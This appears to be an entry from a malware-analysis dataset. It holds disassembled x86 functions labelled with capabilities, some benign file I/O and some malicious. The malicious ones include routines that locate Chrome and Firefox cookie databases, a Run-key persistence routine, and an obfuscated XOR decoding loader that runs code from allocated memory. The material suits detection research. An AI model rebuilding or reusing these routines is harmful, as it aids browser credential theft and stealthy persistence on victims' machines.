joyce8/EMBER2024-capa huggingface dataset:
Function at 0x504d80
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.00401d66
mov eax, dword [0x570040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x5739c8]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x1420], ecx
mov edx, dword [ebp - 0x1420]
cmp edx, dword [ebp - 0x1424]
jae 0x504f58
lea eax, [ebp - 5]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1418], ecx
mov edx, dword [ebp - 0x1418]
cmp edx, dword [ebp - 0x1430]
jae 0x504ea7
mov eax, dword [ebp - 0x1420]
cmp eax, dword [ebp - 0x1424]
jae 0x504ea7
mov ecx, dword [ebp - 0x1420]
mov dl, byte [ecx]
mov byte [ebp - 0x1419], dl
mov eax, dword [ebp - 0x1420]
add eax, 1
mov dword [ebp - 0x1420], eax
mov cl, byte [ebp - 0x1419]
mov byte [ebp - 0x1411], cl
movsx edx, byte [ebp - 0x1411]
cmp edx, 0xa
jne 0x504e85
mov eax, dword [ebp - 0x1408]
add eax, 1
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp - 0x1418]
mov byte [ecx], 0xd
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
mov eax, dword [ebp - 0x1418]
mov cl, byte [ebp - 0x1411]
mov byte [eax], cl
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
jmp 0x504e09
mov eax, dword [ebp - 0x1418]
lea ecx, [ebp - 0x1404]
sub eax, ecx
mov dword [ebp - 0x142c], eax
push 0
lea edx, [ebp - 0x1428]
push edx
mov eax, dword [ebp - 0x142c]
push eax
lea ecx, [ebp - 0x1404]
push ecx
mov edx, dword [ebp - 0x1434]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x504f11
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
jmp 0x504f78
mov edx, dword [ebp - 0x140c]
add edx, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], edx
mov eax, dword [ebp - 0x1428]
cmp eax, dword [ebp - 0x142c]
jae 0x504f53
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x504f78
jmp 0x504de2
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040305d
mov esp, ebp
pop ebp
ret
Function at 0x505010
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.00401d66
mov eax, dword [0x570040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x5739c8]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x141c], ecx
mov edx, dword [ebp - 0x141c]
cmp edx, dword [ebp - 0x1424]
jae 0x5051fb
lea eax, [ebp - 6]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1414], ecx
mov edx, dword [ebp - 0x1414]
cmp edx, dword [ebp - 0x1430]
jae 0x505146
mov eax, dword [ebp - 0x141c]
cmp eax, dword [ebp - 0x1424]
jae 0x505146
mov ecx, dword [ebp - 0x141c]
mov dx, word [ecx]
mov word [ebp - 0x141e], dx
mov eax, dword [ebp - 0x141c]
add eax, 2
mov dword [ebp - 0x141c], eax
mov cx, word [ebp - 0x141e]
mov word [ebp - 0x1418], cx
movzx edx, word [ebp - 0x1418]
cmp edx, 0xa
jne 0x505122
mov eax, dword [ebp - 0x1408]
add eax, 2
mov dword [ebp - 0x1408], eax
mov ecx, 0xd
mov edx, dword [ebp - 0x1414]
mov word [edx], cx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
mov ecx, dword [ebp - 0x1414]
mov dx, word [ebp - 0x1418]
mov word [ecx], dx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
jmp 0x505099
mov ecx, dword [ebp - 0x1414]
lea edx, [ebp - 0x1404]
sub ecx, edx
sar ecx, 1
shl ecx, 1
mov dword [ebp - 0x142c], ecx
push 0
lea eax, [ebp - 0x1428]
push eax
mov ecx, dword [ebp - 0x142c]
push ecx
lea edx, [ebp - 0x1404]
push edx
mov eax, dword [ebp - 0x1434]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x5051b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x50521b
mov eax, dword [ebp - 0x140c]
add eax, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], eax
mov ecx, dword [ebp - 0x1428]
cmp ecx, dword [ebp - 0x142c]
jae 0x5051f6
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x1410]
mov dword [edx], eax
mov ecx, dword [ebp - 0x140c]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x1408]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
jmp 0x50521b
jmp 0x505072
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040305d
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x402c00
pop dword [ebp - 0x10]
mov eax, 0x4747fc40
add eax, 0xb8f82fc0
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x362b0881
add dword [ebp - 0x20], 0x18273cca
mov dword [ebp - 0x1c], 0xbf3e36b7
sub dword [ebp - 0x1c], 0x8d0aea72
mov dword [ebp - 0x18], 0x18b1bc10
add dword [ebp - 0x18], 0x339a881e
mov dword [ebp - 0x14], 0xa617a76b
sub dword [ebp - 0x14], 0xa617a76b
lea eax, [ebp - 0x20]
push eax
mov eax, 0x3d3c15ab
add eax, 0xc3045ab9
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x4c69f8bf
sub dword [ebp - 0x20], 0xd7f78f69
mov dword [ebp - 0x1c], 0xa0e34b34
add dword [ebp - 0x1c], 0xa0891641
mov dword [ebp - 0x18], 0x9cf23a40
add dword [ebp - 0x18], 0xc67d322c
mov dword [ebp - 0x14], 0x736a5afb
add dword [ebp - 0x14], 0x8c95a505
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xe7335504
sub eax, 0xe6f2e45c
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x376d6
push 0
call eax
mov ecx, 0x81be12ea
add ecx, 0x7e42380a
mov edi, eax
mov edx, 0x2ce5b5fe
add edx, 0xd35b4a02
add edx, dword [ebp - 0x10]
mov esi, 0x645d3aff
xor dword [ebp - 0xc], eax
mov ebx, dword [edx]
mov dword [ebp - 0xc], 0xcb82f2a9
xor ebx, esi
add dword [ebp - 8], 0x9b87041b
mov dword [edi], ebx
add dword [ebp - 4], ebx
add edi, 0xe461ae6e
sub edi, 0xe461ae6a
add edx, 0xcd6adf86
add edx, 0x3295207e
loop 0x402d1c
add eax, 0x11ea3
mov ebx, eax
add eax, 5
mov ecx, 0x73d7a812
add ecx, 0x8c6857ee
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x4026cf
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [ebp + 8], 0
jne 0x4026df
xor eax, eax
leave
ret
test byte [0x4197f0], 2
mov dword [ebp - 0x40], 0x40
jne 0x402734
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatusEx]
test eax, eax
je 0x402734
mov ecx, dword [ebp - 0x2c]
xor eax, eax
cmp ecx, eax
ja 0x402734
jb 0x402710
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp + 8]
jae 0x402734
push 0x2b
call fcn.00402187
push eax
call fcn.00408d52
cmp eax, 1
pop ecx
pop ecx
je 0x40272d
or dword [0x4197f0], 0xffffffff
jmp 0x4026db
or dword [0x4197f0], 2
xor eax, eax
inc eax
leave
ret

Function at 0x402b71
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea ecx, [ebp - 0xc]
call fcn.00401458
cmp dword [ebp - 4], 1
jg 0x402b8f
push 1
lea ecx, [ebp - 0xc]
call fcn.00401172
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
push 1
push dword [ebp - 0xc]
push eax
call esi
test eax, eax
jne 0x402bb3
push dword [ebp - 0xc]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x402bea
push ebx
mov ebx, dword [edi]
inc eax
push eax
push eax
lea ecx, [ebp - 0xc]
call fcn.004027aa
push eax
push ebx
call esi
mov esi, dword [ebp - 0xc]
push esi
call fcn.0040115e
and word [esi + eax*2], 0
pop ecx
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
mov ecx, edi
call fcn.004013a9
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop ebx
pop edi
pop esi
leave
ret
Function at 0x403387
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4033a4
xor eax, eax
jmp 0x4033fd
test al, 0x10
je 0x4033b5
push 0x10
call dword [sym.imp.KERNEL32.DLL_SetLastError]
or eax, 0xffffffff
jmp 0x4033fd
mov eax, dword [0x4197f4]
test eax, eax
jne 0x4033c7
push esi
call fcn.0040335a
pop ecx
jmp 0x4033fd
cmp eax, 2
jne 0x4033fa
lea eax, [ebp - 0x250]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
cmp eax, 0xffffffff
je 0x4033be
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
push dword [ebp + 0xc]
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.DLL_CompareFileTime]
test eax, eax
jl 0x4033be
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x4053e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0xa0c
mov ecx, dword [esp + 0xa10]
push ebx
push esi
lea eax, [esp + 0x110]
push edi
push eax
push ecx
call fcn.00405130
add esp, 8
lea edx, [esp + 0x10]
mov byte [esp + 0x10], 0
push 0
push 0x1c
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, str.GoogleChromeUser_DataDefaultcookies
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
call fcn.00450790
add esp, 8
test eax, eax
je 0x40548e
mov edx, dword [esp + 0xc]
push edx
call fcn.00450590
push eax
push str.Cant_open_database:__s_n
push 0x474d40
call fcn.00453a7f
mov eax, dword [esp + 0x1c]
push eax
call fcn.0044f7c0
add esp, 0x14
xor al, al
pop edi
pop esi
pop ebx
add esp, 0xa0c
ret
mov ebx, dword [esp + 0xa20]
lea ecx, [esp + 0x218]
push ebp
push ecx
push 0
push 0x46f458
push ebx
call fcn.00404fb0
mov ebp, eax
add esp, 0x10
xor esi, esi
test ebp, ebp
jle 0x405520
lea edx, [esp + 0x21c]
push edx
push esi
push 0x46f458
push ebx
call fcn.00404fb0
lea edi, [esp + 0x22c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40551b
lea eax, [esp + 0x21c]
push 0x46f388
push eax
call fcn.00453990
add esp, 8
test eax, eax
je 0x40551b
mov byte [eax], 0
inc eax
lea ecx, [esp + 0x21c]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x11c]
push ecx
push edx
push eax
call fcn.004051f0
add esp, 0x10
inc esi
cmp esi, ebp
jl 0x4054b6
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0044f7c0
add esp, 4
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xa0c
ret
Function at 0x405ea0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x464aed
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24c
push ebx
push ebp
push esi
mov dword [esp + 0x10], 0
mov eax, dword [0x47469c]
mov ebx, 1
mov dword [esp + 0x260], ebx
mov dword [esp + 0xc], eax
mov edx, dword [esp + 0x26c]
lea ecx, [esp + 0x14]
push ecx
push edx
mov byte [esp + 0x268], 2
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x405f19
mov esi, dword [esp + 0x268]
push 0x477c28
mov ecx, esi
call fcn.0045e434
mov dword [esp + 0x10], ebx
jmp 0x405fb8
mov esi, dword [sym.imp.KERNEL32.DLL_FindNextFileA]
cmp byte [esp + 0x40], 0x2e
je 0x405f2d
test byte [esp + 0x14], 0x10
jne 0x405f3b
lea eax, [esp + 0x14]
push eax
push ebp
call esi
test eax, eax
je 0x405f9a
jmp 0x405f1f
push edi
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x158]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x270]
push ecx
lea ecx, [esp + 0x14]
call fcn.0045e4b3
lea edx, [esp + 0x158]
lea ecx, [esp + 0x10]
push edx
push str..default
call fcn.0045d358
push str.cookies.sqlite
lea ecx, [esp + 0x14]
call fcn.0045e756
pop edi
push ebp
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov esi, dword [esp + 0x268]
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call fcn.0045e13b
mov dword [esp + 0x10], ebx
lea ecx, [esp + 0xc]
mov byte [esp + 0x260], bl
call fcn.0045e3c6
lea ecx, [esp + 0x26c]
mov byte [esp + 0x260], 0
call fcn.0045e3c6
mov ecx, dword [esp + 0x258]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x258
ret
Function at 0x406000
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x464b5f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
mov dword [esp + 0x1c], 0
mov eax, dword [0x47469c]
mov dword [esp + 0x28], 1
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov dword [esp + 0xc], eax
lea eax, [esp + 0x34]
lea ecx, [esp + 8]
push eax
mov byte [esp + 0x2c], 4
call fcn.0045e4b3
lea ecx, [esp + 0x34]
push ecx
lea ecx, [esp + 0x10]
call fcn.0045e4b3
push 0x2e
lea ecx, [esp + 0xc]
call fcn.0045d668
mov esi, eax
cmp esi, 0xffffffff
je 0x4061e6
push ebx
push ebp
push edi
lea edx, [esp + 0x1c]
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.0045d5f0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x38], 5
call fcn.0045e4b3
lea ecx, [esp + 0x1c]
mov byte [esp + 0x34], 4
call fcn.0045e3c6
push 0x2e
lea ecx, [esp + 0x14]
call fcn.0045d668
mov edi, eax
lea eax, [esp + 0x1c]
sub esi, edi
lea ecx, [esp + 0x14]
dec esi
lea ebp, [edi + 1]
push esi
push ebp
push eax
call fcn.0045d4de
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x38], 6
call fcn.0045e4b3
lea ecx, [esp + 0x1c]
mov byte [esp + 0x34], 4
call fcn.0045e3c6
mov eax, dword [esp + 0x10]
push 0x46f6f0
push eax
mov esi, eax
call fcn.00451f6c
mov ecx, dword [esp + 0x18]
push 0x46f6ec
push ecx
mov ebx, eax
call fcn.00451f6c
mov edx, dword [esp + 0x20]
push 0x46f6e8
push edx
mov dword [esp + 0x3c], eax
call fcn.00451f6c
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x28]
push 0x46f6e4
push eax
call fcn.00451f6c
push 0x46f6e0
push esi
mov dword [esp + 0x44], eax
call fcn.00451f6c
imul eax, dword [esp + 0x44]
imul eax, dword [esp + 0x48]
imul eax, dword [esp + 0x4c]
imul eax, ebx
add esp, 0x28
test eax, eax
jne 0x4061b7
cmp edi, 0xffffffff
je 0x4061b7
lea ecx, [esp + 0x24]
push edi
push ecx
lea ecx, [esp + 0x1c]
mov esi, edi
call fcn.0045d5f0
push 0x2e
mov ecx, eax
mov byte [esp + 0x38], 7
call fcn.0045d668
lea ecx, [esp + 0x24]
mov edi, eax
mov byte [esp + 0x34], 4
call fcn.0045e3c6
sub esi, edi
lea ebp, [edi + 1]
dec esi
lea edx, [esp + 0x24]
push esi
push ebp
push edx
lea ecx, [esp + 0x20]
call fcn.0045d4de
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x38], 8
call fcn.0045e4b3
lea ecx, [esp + 0x24]
mov byte [esp + 0x34], 4
call fcn.0045e3c6
lea eax, [esp + 0x24]
push ebp
push eax
lea ecx, [esp + 0x1c]
call fcn.0045d4bb
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], 9
call fcn.0045e4b3
lea ecx, [esp + 0x24]
mov byte [esp + 0x34], 4
call fcn.0045e3c6
pop edi
pop ebp
pop ebx
mov esi, dword [esp + 0x30]
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.0045e13b
mov dword [esp + 0x1c], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 3
call fcn.0045e3c6
lea ecx, [esp + 4]
mov byte [esp + 0x28], 2
call fcn.0045e3c6
lea ecx, [esp + 8]
mov byte [esp + 0x28], 1
call fcn.0045e3c6
lea ecx, [esp + 0x34]
mov byte [esp + 0x28], 0
call fcn.0045e3c6
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret
Function at 0x406370
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x464b7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa14
mov ecx, dword [esp + 0xa24]
push ebx
push ebp
push esi
lea eax, [esp + 0x11c]
push edi
push eax
push ecx
call fcn.00405130
add esp, 8
lea edx, [esp + 0x1c]
mov byte [esp + 0x1c], 0
push 0
push 0x1a
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, str.MozillaFirefoxProfiles.default
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
call fcn.0045e434
lea ecx, [esp + 0x18]
push ecx
call fcn.00405ea0
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x18]
push edx
push eax
mov dword [esp + 0xa3c], 0
call fcn.00450790
add esp, 0x10
test eax, eax
je 0x40644f
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0044f7c0
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0xa2c], 0xffffffff
call fcn.0045e3c6
xor al, al
jmp 0x406503
mov ebp, dword [esp + 0xa38]
lea edx, [esp + 0x224]
push edx
push 0
push 0x46f458
push ebp
call fcn.00404fb0
mov ebx, eax
add esp, 0x10
xor esi, esi
test ebx, ebx
jle 0x4064e0
lea eax, [esp + 0x224]
push eax
push esi
push 0x46f458
push ebp
call fcn.00404fb0
lea edi, [esp + 0x234]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4064db
lea ecx, [esp + 0x224]
push 0x46f388
push ecx
call fcn.00453990
add esp, 8
test eax, eax
je 0x4064db
mov byte [eax], 0
mov ecx, dword [esp + 0x10]
inc eax
lea edx, [esp + 0x224]
push eax
lea eax, [esp + 0x124]
push edx
push eax
push ecx
call fcn.00406250
add esp, 0x10
inc esi
cmp esi, ebx
jl 0x406476
mov edx, dword [esp + 0x10]
push edx
call fcn.0044f7c0
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0xa2c], 0xffffffff
call fcn.0045e3c6
mov al, 1
mov ecx, dword [esp + 0xa24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0xa20
ret
Function at 0x406520
Capabilities:
Delete registry value
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x464bf7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push 0x46f8cc
lea ecx, [esp + 0x14]
mov dword [esp + 0x24], 0
call fcn.0045e434
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ecx, [esp + 0x1c]
mov dword [esp + 0x134], 1
call fcn.0045e434
mov eax, dword [0x47469c]
mov dword [esp], eax
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
push 0x2001f
push 0
push ecx
push 0x80000001
mov byte [esp + 0x144], 4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406704
mov al, byte [esp + 0x13c]
test al, al
je 0x4066ae
mov al, byte [esp + 0x140]
test al, al
je 0x406693
push 0x104
push 0x104
lea ecx, [esp + 8]
call fcn.0045e795
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 4]
call fcn.0045e7e4
push 0x46f390
lea ecx, [esp + 0x18]
call fcn.0045e434
lea edx, [esp]
mov byte [esp + 0x130], 5
push edx
push eax
lea eax, [esp + 0x24]
push eax
call fcn.0045e5a9
push 0x46f390
lea ecx, [esp + 0xc]
push eax
push ecx
mov byte [esp + 0x13c], 6
call fcn.0045e60f
push eax
lea ecx, [esp + 4]
mov byte [esp + 0x134], 7
call fcn.0045e4b3
lea ecx, [esp + 8]
mov byte [esp + 0x130], 6
call fcn.0045e3c6
lea ecx, [esp + 0x1c]
mov byte [esp + 0x130], 5
call fcn.0045e3c6
lea ecx, [esp + 0x14]
mov byte [esp + 0x130], 4
call fcn.0045e3c6
mov eax, dword [esp]
mov edx, dword [esp + 0x10]
mov ecx, dword [eax - 8]
push ecx
push eax
mov eax, dword [esp + 0x14]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4066f9
push 0x46f898
jmp 0x4066f0
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x4066f9
push 0x477c28
jmp 0x4066f0
lea eax, [esp + 8]
lea ecx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x14]
push edx
push 0
push eax
push ecx
mov dword [esp + 0x20], 0x104
mov dword [esp + 0x2c], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4066f9
mov eax, dword [esp + 8]
test eax, eax
je 0x4066f9
lea edx, [esp + 0x24]
push edx
lea ecx, [esp + 8]
call fcn.0045e503
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
mov esi, dword [esp + 0x13c]
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.0045e13b
mov dword [esp + 0x24], 1
lea ecx, [esp + 8]
mov byte [esp + 0x134], 3
call fcn.0045e3c6
lea ecx, [esp + 4]
mov byte [esp + 0x134], 2
call fcn.0045e3c6
lea ecx, [esp + 0x1c]
mov byte [esp + 0x134], 1
call fcn.0045e3c6
lea ecx, [esp + 0x14]
mov byte [esp + 0x134], 0
call fcn.0045e3c6
mov ecx, dword [esp + 0x12c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x134
ret